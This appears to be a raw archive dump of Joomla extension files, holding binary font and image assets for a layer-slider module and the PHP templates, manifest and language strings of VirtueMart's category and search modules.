0-53.019 42.981-96 96-96 53.019 0 96 42.981 96 96 0 0 0 0 0 0 0 0 0 0 0 0 0 53.019-42.981 96-96 96-53.019 0-96-42.981-96-96s0 0 0 0zM56 448c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.765-32.235 72-72 72-39.765 0-72-32.235-72-72z" />
<glyph unicode="&#xe00b;" d="M448 384v-416l-160 160-192-192-96 96 192 192-160 160zM1024 864l-192-192 160-160h-416v416l160-160 192 192z" />
<glyph unicode="&#xe00c;" d="M512 896c282.77 0 512-186.25 512-416 0-229.752-229.23-416-512-416-27.156 0-53.81 1.734-79.824 5.044-109.978-109.978-241.25-129.7-368.176-132.596v26.916c68.536 33.578 128 94.74 128 164.636 0 9.754-0.758 19.33-2.164 28.696-115.796 76.264-189.836 192.754-189.836 323.304 0 229.75 229.23 416 512 416z" />
<glyph unicode="&#xe00d;" d="M512 960c-282.77 0-512-229.23-512-512s229.23-512 512-512 512 229.23 512 512-229.23 512-512 512zM512 704c141.384 0 256-114.616 256-256s-114.616-256-256-256-256 114.616-256 256 114.616 256 256 256zM817.47 142.53c-81.594-81.594-190.080-126.53-305.47-126.53-115.392 0-223.876 44.936-305.47 126.53-81.594 81.594-126.53 190.078-126.53 305.47 0 115.39 44.936 223.876 126.53 305.47l67.882-67.882c0 0 0 0 0 0-131.006-131.006-131.006-344.17 0-475.176 63.462-63.462 147.838-98.412 237.588-98.412 89.748 0 174.124 34.95 237.588 98.412 131.006 131.006 131.006 344.168 0 475.176l67.882 67.882c81.594-81.594 126.53-190.080 126.53-305.47 0-115.392-44.936-223.876-126.53-305.47z" />
<glyph unicode="&#xe00e;" d="M864 256c-45.16 0-85.92-18.738-115.012-48.83l-431.004 215.502c1.314 8.252 2.016 16.706 2.016 25.328s-0.702 17.076-2.016 25.326l431.004 215.502c29.092-30.090 69.852-48.828 115.012-48.828 88.366 0 160 71.634 160 160s-71.634 160-160 160-160-71.634-160-160c0-8.622 0.704-17.076 2.016-25.326l-431.004-215.504c-29.092 30.090-69.852 48.83-115.012 48.83-88.366 0-160-71.636-160-160 0-88.368 71.634-160 160-160 45.16 0 85.92 18.738 115.012 48.828l431.004-215.502c-1.312-8.25-2.016-16.704-2.016-25.326 0-88.368 71.634-160 160-160s160 71.632 160 160c0 88.364-71.634 160-160 160z" />
<glyph unicode="&#xe01e;" d="M1024 448c-1.278 66.862-15.784 133.516-42.576 194.462-26.704 61-65.462 116.258-113.042 161.92-47.552 45.696-103.944 81.82-164.984 105.652-61.004 23.924-126.596 35.352-191.398 33.966-64.81-1.282-129.332-15.374-188.334-41.356-59.048-25.896-112.542-63.47-156.734-109.576-44.224-46.082-79.16-100.708-102.186-159.798-23.114-59.062-34.128-122.52-32.746-185.27 1.286-62.76 14.964-125.148 40.134-182.206 25.088-57.1 61.476-108.828 106.11-151.548 44.61-42.754 97.472-76.504 154.614-98.72 57.118-22.304 118.446-32.902 179.142-31.526 60.708 1.29 120.962 14.554 176.076 38.914 55.15 24.282 105.116 59.48 146.366 102.644 41.282 43.14 73.844 94.236 95.254 149.43 13.034 33.458 21.88 68.4 26.542 103.798 1.246-0.072 2.498-0.12 3.762-0.12 35.346 0 64 28.652 64 64 0 1.796-0.094 3.572-0.238 5.332h0.238zM922.306 278.052c-23.472-53.202-57.484-101.4-99.178-141.18-41.67-39.81-91-71.186-144.244-91.79-53.228-20.678-110.29-30.452-166.884-29.082-56.604 1.298-112.596 13.736-163.82 36.474-51.25 22.666-97.684 55.49-135.994 95.712-38.338 40.198-68.528 87.764-88.322 139.058-19.87 51.284-29.228 106.214-27.864 160.756 1.302 54.552 13.328 108.412 35.254 157.69 21.858 49.3 53.498 93.97 92.246 130.81 38.73 36.868 84.53 65.87 133.874 84.856 49.338 19.060 102.136 28.006 154.626 26.644 52.5-1.306 104.228-12.918 151.562-34.034 47.352-21.050 90.256-51.502 125.624-88.782 35.396-37.258 63.21-81.294 81.39-128.688 18.248-47.392 26.782-98.058 25.424-148.496h0.238c-0.144-1.76-0.238-3.536-0.238-5.332 0-33.012 24.992-60.174 57.086-63.624-6.224-34.822-16.53-68.818-30.78-100.992z" />
<glyph unicode="&#xe01f;" d="M512 960c-278.748 0-505.458-222.762-511.848-499.974 5.92 241.864 189.832 435.974 415.848 435.974 229.75 0 416-200.576 416-448 0-53.020 42.98-96 96-96 53.020 0 96 42.98 96 96 0 282.77-229.23 512-512 512zM512-64c278.748 0 505.458 222.762 511.848 499.974-5.92-241.864-189.832-435.974-415.848-435.974-229.75 0-416 200.576-416 448 0 53.020-42.98 96-96 96-53.020 0-96-42.98-96-96 0-282.77 229.23-512 512-512z" />
<glyph unicode="&#xe600;" d="M1024 351.906v192.188l-146.774 24.462c-5.958 18.132-13.222 35.668-21.694 52.5l86.454 121.034-135.896 135.898-120.826-86.304c-16.91 8.554-34.538 15.888-52.768 21.902l-24.402 146.414h-192.188l-24.402-146.416c-18.23-6.014-35.858-13.348-52.766-21.902l-120.828 86.304-135.898-135.898 86.454-121.036c-8.47-16.83-15.734-34.366-21.692-52.498l-146.774-24.46v-192.188l147.118-24.52c5.96-17.968 13.21-35.348 21.642-52.030l-86.748-121.448 135.898-135.896 121.654 86.894c16.602-8.35 33.89-15.528 51.764-21.434l24.578-147.472h192.188l24.578 147.474c17.874 5.906 35.162 13.084 51.766 21.432l121.652-86.892 135.896 135.896-86.744 121.446c8.432 16.682 15.678 34.062 21.64 52.032l147.118 24.518zM512 320c-70.692 0-128 57.306-128 128 0 70.692 57.308 128 128 128 70.694 0 128-57.308 128-128 0-70.694-57.306-128-128-128z" />
</font></defs></svg>PK!���
�
9mod_ap_smart_layerslider/assets/js/video_js/font/vjs.woffnu&1i�wOFFOTTO
�

\CFF �	�	�T?OS/2
�``�*cmap(\\���ngasp�head�66��hhea�$$	 5hmtx�XXK��maxp@PnameH99D��post
�  icomoon;���
	w���
	w����E^�T��		� %*/49>CHMRW\afkpicomoonicomoonu0u1u20uE000uE001uE002uE003uE004uE005uE006uE007uE008uE009uE00AuE00BuE00CuE00DuE00EuE01EuE01FuE600�

ETs���}����_!��������������T��4�4�4�T�T+�T�T�4�4�4�4�T�T�4�4�4���4�4�4�T�T�T����������ԋ����ԋ�T���ԋ����ԋ�%������g����gv�q������4����4��������o�~���x������܋�:�x����������x�
���T�
���~���(�*�����g����gv�q������4����4������d�~����x���������j��x����������x�:������^�9:�����?��~���x������܋�:�x����������x�
���T�
���~���(�*�����g����gv�q������4����4��������~���x�����������[�3�x����������x�!� ��*��*Q� !!��~���>�~����x���������j��x����������x�:������^�9:�����?��~���x������܋�:�x����������x�
���T�
���~���(�*�����g����gv�q������4����4��������T�����������T^��������������H��`„�|��a��Y��y��x��c�bm�|��bT�<��H��H�=�S�~�����k�c��x��y��Y����������Òٌ�H�ۺ��!@����+���E��F��%�����!���Wuc\�B�~Ӌ؋��������j�R���r��!A����+���E��F��%�����!���Wuc]�B�~Ӌ؋��������j�R������������������D�Rҋҋ�ċҋ�R�D�D�RR�D����D�Rҋы�ċҋ�Q�E�D�RQ�E�D���h�n����������n�h�h�nn�h����h�n����������n�h�g�oo�g����������h�n����������������������n�h�h�nn�h����������������h�n����������������������o�g�h�no�g������k���������V�`����������������������`�V�V�``�V������3���c�k����������k�c�c�kk�c�T���4�4�4�T�T+�T�T�4�4�t�t�T�T�4�4�4���4�4�4�T�T�������y�N��z��z�y�N���p�p�q����w����Э�ȋы�������A�����z�y�N������T����y�y�������y�y�������y�y�������y�y�������!�����!��!���!��!�����!��!���!����:9�^������:�9�^����������H����������j���L�h��߮�����j�����:������^�9:��^�bxnm�C�l�������������C�l�m�x����Ӌ��C�3�3�CC�3�������C�ln�b�^�3�CC�3�3�C㋸������C�l�������3�C���Ӌ��C�3����T��|�p�q�d�[�\�R�N�N�J�J�J�K}PqPqUe_]_]hTtPtP�L�L�L�M�R�R�W�`�`�j�u�tȁȌȌǙ££���������˜�������������������������%�>tVi[acacZlVvVvR�R�R�S�X�X�\�e�e�m�w�w����Œ—�������������������������v�v�l�f�f�_�[�\�X�Y���������j�o���h�i|k���T����v�s�������L�V�v��z��N�]����V�`������������y�y����������v�s�������L�V�v��z��N�]�����`�V�V�``�V����y�y���������T�'��������
���
5z�z�x�s�&�T�s�&x�z�z��
���
�z�z�y�'r��T�'r�y�z�z4�
������������'�T���'�������4��4�
�������'���kD�Rċҋ���ҋҋ�R�D�DRRD������
�������3	@�������@ H ������� ��������� �����Z�_<�ϙ��ϙ����^����^^��@�^�8 P�G$U2
(c		G	$	U		9	
(cicomoonVersion 1.0icomoonicomoonicomoonRegularicomoonGenerated by IcoMoonPK!0%  8mod_ap_smart_layerslider/assets/js/video_js/font/vjs.ttfnu&1i��0OS/2�*�`cmap���n\gaspxglyf��s��@head���6hhea	 5�$hmtxK��Xlocat.maxp�� nameD���9post �������3	@�������@ H ������� ��������� ���797979���
''7'!7��`������`����`��`���`������@@@	����@�����@�@!!!!�@���@��@���q>&/#37�



��q
��
���Gq#4%".'.467>4&'.467>2#>&/#37%	,--,	�



���MPM,qtq,�
��
���pq(L]%".'.467>4&'.467>2#'".'.467>4&'.467>2#>&/#37�		1111/  /		�	,--,	�



��2{�{2GMT++TMG[MPM,qtq,�
��
���@q-Vz�%".'.467>54.'.467>2#'".'.467>4&'.467>2#'".'.467>4&'.467>2#>&/#37z	!3""3!(=))=(	�		1111/  /		�	,--,	�



��&!LSZ..ZSL!([el88le[(Z2{�{2GMT++TMG[MPM,qtq,�
��
������@�	��@@�����^�Al�!!4.'.'.#">7>7>5%.#"32>7##".54>323!.#"32>7##".54>323^���		U}�VU��X



X��UV�}U		�� 8N2.P;" <V7+I6#�
"��!7N3-P;" <V6,I6"�"�����DcJ5

5JcDCdI5

5IdC/5S9(KkBCkK(:T5")6(;)"5S9(KkBCkK(:T5")6(;)"�@�@!!��@�8��)>S|���32>54.#"32>54.#"32>54.#"32>54.#"8132>581814.#"81%8132>581814.#"818132>581814.#"8132>54.#"�#..##..#"//""//"�







p



��







��



 ####X@.##..##.p/""//""/��







��



p







p



 ####�����
''7'!7���`����`����`��`���������)2#".'5>5<.5.54>3j��PP��j

)Z]`0.#,F1P��j�Aq�VV�qA)3

#*1HR\1V�qA���)c"32>54.#2#".54>3#".'.54>78132>7>4&'7j��PP��jj��PP��j5]F((F]55]F((F]51GMT++TMG/  /C11117=@""@=71111C/  /�P��jj��PP��jj��P�(F]55]F((F]55]F(��/  /GMT++TMGC2{�{2%

%2{�{2CGMT++TMG���T"%4>45<.5%32>54.#".#"32>732>54.#` �Q� !:,,:!!:,�Q !:,,:! �,:!!:,,:!��,:!!:,,:!�,:!!:,�!:,,:!!:, ���`�4.'.'.'."72>7>7>7>7:12>50<51'".'.'.'.74>7>7>7>23#

!'*,0011/.+'$	

	
$')----,+'%"

f#$&)*+**(%"	
"#'&(&'$#
	�210,)%		
		
 &(+../..-(&$	
		#&'

�&#!	
	!#%()))(&#!

	!"%%&

���=">3232>54.#2>7#".54.#"3i��RCq�UV�qA##P��ji��RCq�UV�qA##P��j�N��h[�vDFz�]##j��P�N��h[�vDFz�]##j��P���@U5'.'7'./#'737>77'>?".54>32#�V�y

�

y�V��W�z
�
z�W��.##..##.`�

y�V��V�y

�
y�W��W�y
 #..##..#ւ��_<�ϙ��ϙ����^����^^��@�^�8 
>Lb��^$4 \�TN� ��G$U2
(c		G	$	U		9	
(cicomoonVersion 1.0icomoonicomoonicomoonRegularicomoonGenerated by IcoMoonPK!�a�---mod_ap_smart_layerslider/assets/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!1f�++0mod_ap_smart_layerslider/assets/images/blank.gifnu&1i�GIF89a�������!��,D;PK!(�.FF3mod_ap_smart_layerslider/assets/images/openhand.curnu&1i�  0( @���������?�w�g��
�
������������������������������������������������������������������������������������������������������������������PK!XoL��;mod_ap_smart_layerslider/assets/images/transparent-bckg.pngnu&1i��PNG


IHDR  D���tEXtSoftwareAdobe ImageReadyq�e<!iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:20D446268BBC11E4AA679DE60B96CF29" xmpMM:InstanceID="xmp.iid:20D446258BBC11E4AA679DE60B96CF29" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:34EADB588B6311E4B81BA08979950C9C" stRef:documentID="xmp.did:34EADB598B6311E4B81BA08979950C9C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ֽ�PLTE���U��~tRNS@��fIDATx�b`�`�� � ��ªIEND�B`�PK!�a�--1mod_ap_smart_layerslider/assets/images/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!ӌ+�FF5mod_ap_smart_layerslider/assets/images/closedhand.curnu&1i�  0( @������������
������������������������������������������������������������������������������������������������O����������������������PK!�?P��6mod_ap_smart_layerslider/assets/images/ajax-loader.gifnu&1i�GIF89a  ������������������լ�������������⢢����!�NETSCAPE2.0!�Created with ajaxload.info!�	
,  ��Iia����bK�$�F�RA�T�,�2S�*05//�m�p!z���0;$�0C�.I*!�HC(A@o�!39T5�\�8)�
��`�dwxG=Y
g�wHb�vA=�0	V\�\�;	����;���H��������0��t%�Hs��rY<H.�ʼn��	��b�Zb�OEg:�GY].�=�A�OQ�s���\b�h.9�=sg��c��e��*�ֆf7D!�	
,  ��IiY��ͧYF5�F�ԢRÔTbG�J����L��d��&�Ymx莔� \@���� �1�&R���H
41Q��|V%zv#j0�
�l�Gg{0~�<�<	�[�[�h�x��G�
y���������[�0���G����P�z��hɾ�Ękz�i��y����h|z�h�G݄�VŢ�����\h�[���Ǥ���&�+��W�7�8��!!�	
,  ��I)1����1G5d]�(��RDz�T2��jL�{��< [�5�M��
0�)�
 L��I��m��E��`�p�U
�^f%�^���u;zz}0�X	
�S0ewyk<�%	�O����	��z��{����|������%����F�i�1”0�����˼Y����8�x����	z��@���<ݫ���������8��Y<���ɥ8�\�P$���!��
!�	
,  ��I����gEU�� ՠR�a�TB٤�p>'���e�$��"�\�#E1Cn�Ď��~��J,�,Aa���Uw^4I%P��uQ33{0�i1T�Ggwy}%�%'R����	���=���������3��G�%��p��0�
��JRo�5Ȇ0IĦmyk��x�T�_}�(���^��yK��s���>i_�%���n�=����q�4e�-M¤D!�	
,  ��I)*���')E�d]����PR	A�:!��zr����bw�
%6�"G�(d$["���J��Fh��aQP�`p%†/BFP\cU
�
?T�tW/pG&OtDa_sylD'M����q	�tc�������b��2��D��M:�����d��%��4%s)���u��E3��YU��tږ���D�$�JiM�<�Y�;�ذ��d<� O�tX�<q'+B!�	
,  ��IiR��ͧ"J% �����EQZ�����Ld���-Y��
�h��k�Q�|��5�u�4Y�I���N
bW���u��5�
�r��	�%yb>^%o/rvl9'L����;��9�����������9�%��i9���� C�"�BB��Ds��^Xf}$P	�{L�?P���O4��E��咛V�$���dJ�#)�pV�$!�	
,  ��IiR��ͧ"J�d]� �R�ZN�*P*��;�$P{*�N���\EА�!1UO2�D	�_r6I�b
�����H��8	B�;	��"'��Z��t��b�K#C'K����w}?�����K��iz6��:x�KAC���&}9�tz\\���D5;x���Q�d(�	��KW���MB���I��ڈM=�ˤs�⸽8Da��J`@LG!�	
,  ��IiR��ͧ"J�d]� �R�ZN�*P*��;�$P{*�N���\EА�!1UO2�D	�_r6I�b
�����H��8	B�;	��"'��Z��t��b�K#C'K��Gziz6��8}z����~��%X�K9�:���0}�%	�tz\B��lcL�bQ���	������lj���ųK����ň������x�(țP�X,��ւ|/"!�	
,  ��IiR��ͧ"J�d]� �R�ZN�*P*��;�$P{*�N���\EА�!1UO2�D	�_r6I�b
�����H��8	B�;	��"'��Z��t��b�K#C'K��Gziz6��8}z����~��%�:�A/C}���u\��h}b��D��]=����	��V)��
ڊ����9C���D�K����K���u�	��*00�S�tD!�	
,  ��IiR��ͧ"J�d]� �R�ZN�*P*��;�$P{*�N���\EА�!1UO2�D	�_r6I�b
�����H��8	B�;	��"'��Z��t��b�K#C'K��Gz���z5
���������C�:	�A/C}���u\��Eh}b��6�[=�����Wx&)���I9�Ԭ�@oC��T?K����d���]��B7����6ЫD!�	
,  ��IiR��ͧ"J�d]� �R�ZN�*P*��;�$P{*�N���\EА�!1UO2�D	�_r6I�ƀ��H��03���hո��a��j U{CIkmbK#�cK���8	�{a��8�n��������V�:�/q:M�
��Cu�~���Eh�k��6	�[_���6P</U�YHF��9?M�%
�G���C�k�v���>.]�6��!�)V�!�	
,  ��IiR��ͧ"J�d]U�R�ZN	��J�j�N2sK6�
��d�I��)
L�H�W�G6	�KX��젱�.6�d��~z�h��uur/6 X5�I;_�tO#E	{O���9V����9��4��������;V�C/
��6�Ø~*�'��Mo����n��bX�:~]+V*�m�K_�O�rK�N@.��d�~�qЦ��D�B֋5D;PK!�a�--*mod_ap_smart_layerslider/assets/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!�CW�
�
(mod_virtuemart_category/tmpl/default.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');

/* ID for jQuery dropdown */
$ID = str_replace('.', '_', substr(microtime(true), -8, 8));
$js="
//<![CDATA[
jQuery(document).ready(function() {
		jQuery('#VMmenu".$ID." li.VmClose ul').hide();
		jQuery('#VMmenu".$ID." li .VmArrowdown').click(
		function() {

			if (jQuery(this).parent().next('ul').is(':hidden')) {
				jQuery('#VMmenu".$ID." ul:visible').delay(500).slideUp(500,'linear').parents('li').addClass('VmClose').removeClass('VmOpen');
				jQuery(this).parent().next('ul').slideDown(500,'linear');
				jQuery(this).parents('li').addClass('VmOpen').removeClass('VmClose');
			}
		});
	});
//]]>
" ;

$document = JFactory::getDocument();
$document->addScriptDeclaration($js);?>

<ul class="VMmenu<?php echo $class_sfx ?>" id="<?php echo "VMmenu".$ID ?>">
	<?php foreach ($categories as $category) {
		$active_menu = 'class="VmClose"';
		$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$category->virtuemart_category_id);
		$cattext = $category->category_name;
		if (in_array( $category->virtuemart_category_id, $parentCategories)) {
			$active_menu = 'class="VmOpen"';
		} ?>

	<li <?php echo $active_menu ?>>
		<div>
			<?php
			echo JHTML::link($caturl, $cattext);
			if (!empty($category->childs)) { ?>
				<span class="VmArrowdown"> </span>
				<?php
			} ?>
		</div>
		<?php if (!empty($category->childs)) { ?>
		<ul class="menu<?php echo $class_sfx; ?>">
			<?php
			foreach ($category->childs as $child) {
				$active_child_menu = 'class="VmClose"';
				$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$child->virtuemart_category_id);
				$cattext = vmText::_($child->category_name);
				if ($child->virtuemart_category_id == $active_category_id) {
					$active_child_menu = 'class="VmOpen"';
				} ?>
				<li <?php echo $active_child_menu; ?>>
					<div ><?php echo JHTML::link($caturl, $cattext); ?></div>
				</li>
				<?php
				if(!empty($child->childs)){ ?>
					<ul class="menu<?php echo $class_sfx; ?>">
						<?php
						foreach ($child->childs as $child1) {
							$active_child_menu = 'class="VmClose"';
							$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$child1->virtuemart_category_id);
							$cattext = vmText::_($child1->category_name);
							if ($child1->virtuemart_category_id == $active_category_id) {
								$active_child_menu = 'class="VmOpen"';
							} ?>
							<li <?php echo $active_child_menu; ?>>
								<div ><?php echo JHTML::link($caturl, $cattext); ?></div>
							</li>
							<?php
						} ?>
					</ul>
					<?php
				}
			} ?>
		</ul>
		<?php } ?>
	</li>
	<?php } ?>
</ul>
PK!�?�8��(mod_virtuemart_category/tmpl/current.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
$ID = str_replace('.', '_', substr(microtime(true), -8, 8));
?>
<ul class="VMmenu<?php echo $class_sfx ?>" id="<?php echo "VMmenu".$ID ?>">
	<?php foreach ($categories as $category) {
		$active_menu = 'class="VmClose"';
		$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$category->virtuemart_category_id);
		$cattext = $category->category_name;
		if (in_array($category->virtuemart_category_id, $parentCategories)) {
			$active_menu = 'class="VmOpen"';
		} ?>
	<li <?php echo $active_menu ?>>
		<div>
			<?php
			echo JHTML::link($caturl, $cattext);
			if (!empty($category->childs)) { ?>
				<span class="VmArrowdown"> </span>
				<?php
			} ?>
		</div>
		<?php if ($active_menu == 'class="VmOpen"' && !empty($category->childs)) {
		?>
		<ul class="menu<?php echo $class_sfx; ?>">
			<?php
			foreach ($category->childs as $child) {
				$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$child->virtuemart_category_id);
				$cattext = vmText::_($child->category_name);
			?>
			<li>
				<div ><?php echo JHTML::link($caturl, $cattext); ?></div>
			</li>
			<?php
			} ?>
		</ul>
		<?php
	} ?>
	</li>
	<?php } ?>
</ul>
PK!�}�S$mod_virtuemart_category/tmpl/all.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
?>
<ul class="menu<?php echo $class_sfx ?>" >
<?php foreach ($categories as $category) {
	$active_menu = '';
	$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$category->virtuemart_category_id);
	$cattext = $category->category_name;
	if (in_array( $category->virtuemart_category_id, $parentCategories)) {
		$active_menu = 'class="active"';
	} ?>
	<li <?php echo $active_menu ?>>
		<div>
			<?php echo JHTML::link($caturl, $cattext); ?>
		</div>
		<?php if (!empty($category->childs)) { ?>
		<ul class="menu<?php echo $class_sfx; ?>">
			<?php
			foreach ($category->childs as $child) {
				$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$child->virtuemart_category_id);
				$cattext = vmText::_($child->category_name);
				?>
			<li>
				<div ><?php echo JHTML::link($caturl, $cattext); ?></div>
			</li>
			<?php
			} ?>
		</ul>
		<?php } ?>
	</li>
	<?php
} ?>
</ul>
PK!�g�'��%mod_virtuemart_category/tmpl/wall.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
$categoryModel->addImages($categories);
$categories_per_row = vmConfig::get('categories_per_row');
$col_width = floor(100 / $categories_per_row);
?>

<ul class="vm-categories-wall <?php echo $class_sfx ?>">
	<?php foreach ($categories as $category) {
		$caturl = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$category->virtuemart_category_id);
		$catname = $category->category_name ;
		?>
	<li class="vm-categories-wall-catwrapper floatleft width<?php echo $col_width; ?>">
		<div class="vm-categories-wall-spacer center">
			<a href="<?php echo $caturl; ?>">
				<?php echo $category->images[0]->displayMediaThumb('class="vm-categories-wall-img"',false) ?>
				<div class="vm-categories-wall-catname"><?php echo $catname; ?></div>
			</a>
		</div>
	</li>
	<?php } ?>
	<li class="clear"></li>
</ul>PK!�i��~~3mod_virtuemart_category/mod_virtuemart_category.phpnu&1i�<?php
defined('_JEXEC') or  die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/*
* Best selling Products module for VirtueMart
* @version $Id: mod_virtuemart_category.php 1160 2014-05-06 20:35:19Z milbo $
* @package VirtueMart
* @subpackage modules
*
* @copyright (C) 2011-2015 The Virtuemart Team
*
*
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* VirtueMart is Free Software.
* VirtueMart comes with absolute no warranty.
*
* @link https://virtuemart.net
*----------------------------------------------------------------------
* This code creates a list of the bestselling products
* and displays it wherever you want
*----------------------------------------------------------------------
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig();
vmLanguage::loadJLang('mod_virtuemart_category', true);
vmJsApi::jQuery();
vmJsApi::cssSite();

/* Setting */
$categoryModel = VmModel::getModel('Category');
$category_id = $params->get('Parent_Category_id', 0);
$class_sfx = $params->get('class_sfx', '');
$moduleclass_sfx = $params->get('moduleclass_sfx','');
$layout = $params->get('layout','default');
$active_category_id = vRequest::getInt('virtuemart_category_id', '0');
$vendorId = '1';

$level = (int)$params->get('level','2');
$media = (int)$params->get('media', 0);

$categories = array();
vmSetStartTime('categories');
VirtueMartModelCategory::rekurseCategories($vendorId, $category_id, $categories, $level, 0, 0,true, '', 'c.ordering, category_name', 'ASC', true);
vmTime('my categories module time','categories');
//vmdebug('my categories in category module',$categories);
$categoryModel->categoryRecursed = 0;
$parentCategories = $categoryModel->getCategoryRecurse($active_category_id,0);

/* Load tmpl default */
require(JModuleHelper::getLayoutPath('mod_virtuemart_category',$layout));
?>PK!��ɑ/
/
3mod_virtuemart_category/mod_virtuemart_category.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0">
  <name>mod_virtuemart_category</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_CATEGORY_DESC</description>
  <files>
    <filename module="mod_virtuemart_category">mod_virtuemart_category.php</filename>
    <filename>tmpl/all.php</filename>
    <filename>tmpl/current.php</filename>
    <filename>tmpl/default.php</filename>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/administrator/components/com_virtuemart/fields">
      <fieldset name="basic">
        <field
          name="Parent_Category_id"
          type="vmcategories"
          value_field="category_name"
          label="MOD_VIRTUEMART_CATEGORY_PARENT_CATEGORY"
          description="MOD_VIRTUEMART_CATEGORY_PARENT_CATEGORY_DESC"
        />
        <field
          name="level"
          type="text"
          default="2"
          value_field="level"
          label="MOD_VIRTUEMART_CATEGORY_SUBLEVEL"
          description="MOD_VIRTUEMART_CATEGORY_SUBLEVEL_DESC"
        />
        <field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
        />
        <field
          name="cache"
          type="list"
          default="0"
          label="COM_MODULES_FIELD_CACHING_LABEL"
          description="COM_MODULES_FIELD_CACHING_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="moduleclass_sfx"
          type="text"
          label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
          description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
        />
        <field
          name="class_sfx"
          type="text"
          default=""
          label="Menu Class Suffix"
          description="A suffix to be applied to the css class of the menu items"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
    <!-- Note: No spaces or linebreaks allowed between the server tags -->
    <server type="extension" name="VirtueMart3 mod_virtuemart_category Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_category_update.xml]]></server>
  </updateservers>
</extension>
PK!�a�gMMLmod_virtuemart_category/language/en-GB/en-GB.mod_virtuemart_category.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CATEGORY="VirtueMart Category"
MOD_VIRTUEMART_CATEGORY_DESC="Displays all Categories from VirtueMart"PK!�ޏ��Hmod_virtuemart_category/language/en-GB/en-GB.mod_virtuemart_category.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 - 2019 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CATEGORY="VirtueMart Category"
MOD_VIRTUEMART_CATEGORY_DESC="Displays a 2 level categories list.<br/ >To use as menu with choice of accordeon effect."
MOD_VIRTUEMART_CATEGORY_PARENT_CATEGORY="Parent Category"
MOD_VIRTUEMART_CATEGORY_PARENT_CATEGORY_DESC="Select the parent category to list as menu."
MOD_VIRTUEMART_CATEGORY_SUBLEVEL="Sublevel"
MOD_VIRTUEMART_CATEGORY_SUBLEVEL_DESC="Sublevels to show, at the moment maximum 2."PK!�q��		/mod_virtuemart_search/mod_virtuemart_search.phpnu&1i�<?php
defined ('_JEXEC') or  die('Direct Access to ' . basename (__FILE__) . ' is not allowed.');
/**
 * @version $Id: mod_virtuemart_search.php 9878 2018-06-18 18:55:52Z Milbo $
 * @package VirtueMart
 * @subpackage modules
 *
 * @copyright (C) 2010-2014 The VirtueMart Team
 * @author Valerie Isaksen, Max Milbers
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * VirtueMart is Free Software.
 * VirtueMart comes with absolute no warranty.
 *
 * @link https://virtuemart.net
 */

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig ();
vmLanguage::loadJLang ('mod_virtuemart_search', true);

// Load the virtuemart main parse code
$button = $params->get ('button', 0);
$imagebutton = $params->get ('imagebutton', 0);
$imagepath = $params->get ('image_button_file', '');
$button_pos = $params->get ('button_pos', 'left');
$button_text = $params->get ('button_text', vmText::_ ('MOD_VIRTUEMART_SEARCH_GO'));
$width = intval ($params->get ('width', 20));
